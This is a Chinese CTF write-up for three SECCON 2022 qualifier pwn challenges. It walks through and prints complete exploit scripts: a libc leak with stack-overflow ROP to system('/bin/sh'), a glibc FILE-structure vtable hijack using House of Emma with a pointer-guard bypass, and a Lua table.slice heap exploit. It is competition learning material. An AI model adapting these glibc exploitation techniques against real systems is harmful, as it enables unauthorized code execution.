seccon 2022 quals wp

题外话

很激动可以打入前十,可以去日本旅游了,感谢带飞

pwn

koncha

比较简单的签到题
%[^\n]这个大概查一下或者试一下,如果什么都不输入,刚好可以泄露libc的地址,然后就是栈溢出,覆盖为rop或者直接one_gadget都可以

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./chall"
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc


if len(sys.argv) > 1:
    remote_ip = "koncha.seccon.games"
    remote_port =9001
    io = remote(remote_ip, remote_port)
else:
    io = process(parm)

sla(b"Hello! What is your name?\n",b"")
ru(b"Nice to meet you, ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f43ea148000-0x7f43ea3392e8

pop_rdi_ret=libc_base+0x0000000000023b6a
bin_sh=libc_base+next(libc.search(b"/bin/sh\0"))
system=libc_base+libc.sym["system"]
one_gadget=libc_base+0xe3b01
ret=libc_base+0x0000000000022679
#sla(b"Which country do you live in?\n",b"a"*0x58+p64(one_gadget))
sla(b"Which country do you live in?\n",b"a"*0x58+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system))
it()

在这里插入图片描述

babyfile

这个题觉得出的挺不错的
题目很明显就是想要直接修改IO_FILE结构体
在这里插入图片描述
一般大家都清楚修改write_base,write_ptr可以做到任意地址leak
但这个题目保护全开了,想做都leak比较难
在这里插入图片描述

最开始确实没什么思路,后来有人提了一下修改vtable
先写一下交互

def flush():
   sla("> ", "1")

def modify(off, val):
   sla("> ", "2")
   sla("offset: ", str(off))
   sla("value: ", str(val))

def change(off,val):
   for i in range(8):
       modify(off,val&0xff)
       off+=1
       val=val>>8
def ROL(content, key):
   tmp = bin(content)[2:].rjust(64, '0')
   return int(tmp[key:] + tmp[:key], 2)

how to leak

填充堆地址

这里leak其实就是需要我们大概知道地址,不管是load_base利用got去泄露,或者可以是堆地址,IO堆上比较多libc地址,但是不管堆地址还是load_base都是我们不知道的,所以我们必须要程序自己给我们填充地址
首先浅看一下vtable
在这里插入图片描述
IO_fread详解
当时想到了这个文章,里面提到了doalocate是用来分配输入输出缓冲区的,所以利用这个我们可以让他分配堆,而flush会调用vtable里的sync,所以只要把sync偏到doallocate就可以
在这里插入图片描述

modify(0xd8,0xa8)#修改vtable
flush()

这是改完之后的vtable,下面flush一下
在这里插入图片描述
在这里插入图片描述
可以看到已经还有堆地址了,接下来我们要做的就是把write_base也弄上地址
接下来其实是调出来的

modify(0xd8,0xa0)#vtable改回来
modify(8*5,0x40)#随便一个,只要保证_IO_write_base<_IO_write_ptr即可
flush()

首先这里vtable改回来了,正常进入sync
在这里插入图片描述
这里要进入do_flush,然后do_flush会修改ptr之类的,所以我们就让write_ptr随便是一个大于0的值就好
在这里插入图片描述
之后就有调整buf的代码,然后结束可以看到
在这里插入图片描述
都有地址了
在这里插入图片描述

开始leak

这里比较简单,我们就在后两位不变的堆地址区域寻找libc地址
很明显70就是
在这里插入图片描述
由于fflush函数会把IO里面仍有的数据全部都输出出来,所以我们可以利用这个来泄露

扫描二维码关注公众号,回复: 15669501 查看本文章
modify(8*14,1)#fileno
modify(8*5,0x78)#wirte_ptr
modify(8*4,0x70)#write_base
modify(8*2,0x70)#_IO_read_end=write_base
flush()
libc_base=u64(ru(b"\x7f").ljust(8,b"\x00"))+0x7f60d3a44000-0x7f60d3c2cf60

这里我就不细致调了,首先要改fileno,不然看不见,然后flush会输出write_base=>write_ptr之间的内容,最后一个=是保证通过check
在这里插入图片描述

劫持控制流

这次比赛里面,从其他学长那里学到了比较新的控制流劫持方法,像改vtable为_IO_str_jumps,还有house of apple里的_IO_wfile_jumps,但这个版本里面_IO_str_jumps没有函数指针,还是用的free,然后_IO_wfile_jumps需要修改0xa0的位置,但是题目有限制
也就是不允许修改0x80->(0x80+0x40)区域
在这里插入图片描述
所以后来就想到了House _OF _Emma,具体可以参考house_of_emma
这里就选用_IO_cookie_read吧

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}
#  define PTR_MANGLE(var) \
	(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard_local)
# else
extern uintptr_t __pointer_chk_guard attribute_relro;
#  define PTR_MANGLE(var) \
	(var) = (__typeof(var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# endif

所以我们需要知道__pointer_chk_guard的值
在这里插入图片描述
所以我们要保存在IO结构体里的值循环右移0x11在xor __pointer_chk_guard==system
输入tls显示的是fs:[0]的地址,所以fs:[0x30]再加上0x30,刚好对应
在这里插入图片描述

当然实际这里是local,那么我们算一下偏移

__pointer_chk_guard_addr=libc_base+0x1f35f0
change(8*5,__pointer_chk_guard_addr+0x8)#write_ptr
change(8*4,__pointer_chk_guard_addr)#write_base
change(8*2,__pointer_chk_guard_addr)#read_end
flush()
__pointer_chk_guard=u64(r(8))

最后就是布置我们的_IO
这里本来是想用read的但是read的指针是在0xe8,这个地方值好像修改不了,我就用了write,指针在0xf0

_IO_cookie_jumps=libc_base+0x1e8a20
system_addr=libc_base+libc.sym["system"]
func_value=ROL(system_addr^__pointer_chk_guard,0x11)#需要异或左移一下
change(0xf0,func_value)#指针的值
change(0xd8,_IO_cookie_jumps+0x18)#修改vtable对到write
change(0xe0,libc_base+0x1b45bd-0x100000000)#这里是bin/sh的地址,但不知道为什么它会多0x100000000,所以就减掉了
flush()

full payload

当然这里本地偏移和远程不太一样,我本地是0xf0,远程是0x70(guard)

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chall"
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc


if len(sys.argv) > 1:
    remote_ip = "babyfile.seccon.games"
    remote_port =3157
    io = remote(remote_ip, remote_port)
else:
    io = process(parm)




def flush():
    sla("> ", "1")

def modify(off, val):
    sla("> ", "2")
    sla("offset: ", str(off))
    sla("value: ", str(val))

def change(off,val):
    for i in range(8):
        modify(off,val&0xff)
        off+=1
        val=val>>8

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)


modify(0xd8,0xa8)
flush()

modify(0xd8,0xa0)
modify(8*5,0x40)#随便一个,只要保证_IO_write_base!=_IO_write_ptr即可
flush()

modify(8*14,1)#fileno
modify(8*5,0x78)#wirte_ptr
modify(8*4,0x70)#write_base
modify(8*2,0x70)#_IO_read_end=write_base
flush()
libc_base=u64(ru(b"\x7f").ljust(8,b"\x00"))+0x7f60d3a44000-0x7f60d3c2cf60

__pointer_chk_guard_addr=libc_base+0x1f3570#大本地就是0x1f35f0
change(8*5,__pointer_chk_guard_addr+0x8)#write_ptr
change(8*4,__pointer_chk_guard_addr)#write_base
change(8*2,__pointer_chk_guard_addr)#read_end
flush()
__pointer_chk_guard=u64(r(8))

_IO_cookie_jumps=libc_base+0x1e8a20
system_addr=libc_base+libc.sym["system"]
func_value=ROL(system_addr^__pointer_chk_guard,0x11)#需要异或左移一下
change(0xf0,func_value)#指针的值
change(0xd8,_IO_cookie_jumps+0x18)#修改vtable对到write
change(0xe0,libc_base+0x1b45bd-0x100000000)#这里是bin/sh的地址,但不知道为什么它会多0x100000000,所以就减掉了
flush()

it()

在这里插入图片描述

lslice

这个题目整体来说有几个地方需要注意

第一步,获得win的地址

win = tonumber(string.format("%p", print)) - 0x25930 + 0x7A40

堆风水

因为这个程序运行起来的时候经常有free的东西,特别是你加上print之后经常不准,那么我们需要把堆先打满
在这里插入图片描述

由于整体我们不需要太大的空间,所以我们把0x20,0x40,0x50打满即可

t1={1}
t2={1}
t3={1}
t4={1}
t5={1}
t6={1,2}
t7={1,2,3,4}

这里打满的payload很多,大家可以随意发挥
在这里插入图片描述

伪造table和function

t={1}
str = '\0\0\0\0\0\0\0\0' .. string.pack('<T', win) .. '\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00'

这里如果不打满,可能会出现str分配到table的上面,导致我们之后不可以一起直接赋值过去
在这里插入图片描述

这里0x556910e43010指向就是table t的数据区域
只要 等会赋值的时候把这一片全部当成是data赋值过去,那么过去之后相当于这个function就可以直接调用了
现在因为我们查看d8这个地方的0x1003f0805高8位1代表的是元素个数,这个时候我们直接访问function相当于是越界,所以必须利用漏洞才可以让他当成合法的function
在这里插入图片描述

继续打满

在这里插入图片描述
由于又有0x50再填满

t8={1,2,3,4}

赋值copy过去

setmetatable(t,  {__len=function() return 8 end})
b = table.slice(t, 1)

而之所以我们伪造len是8,也就是因为我们第八个元素就是function,只要赋值到function就可以了,多了也没必要
可以看到,这次b table里面含有8个元素,0x8003f0805的高8位代表元素个数
在这里插入图片描述
而下面的从0x564db043eb90开始的,对应规则是这样
0-8 代表具体的值 8-f代表类型
而函数对应的类型是0x16,所以可以看到我们上面写的是\x16\x00
然后由于是0x10对齐,所以前面填充了8个\x00

在这里插入图片描述
同时查看源码也可以知道,start从1开始
在这里插入图片描述

all payload

这里面t1-t8的作用只是填充堆块来用,方便我们分配内存

win = tonumber(string.format("%p", print)) - 0x25930 + 0x7A40
t1={1}
t2={1}
t3={1}
t4={1}
t5={1}
t6={1,2}
t7={1,2,3,4}

t={1}
str = '\0\0\0\0\0\0\0\0' .. string.pack('<T', win) .. '\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
t8={1,2,3,4}
setmetatable(t,  {__len=function() return 8 end})
b = table.slice(t, 1)
b[8]()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/azraelxuemo/article/details/127840861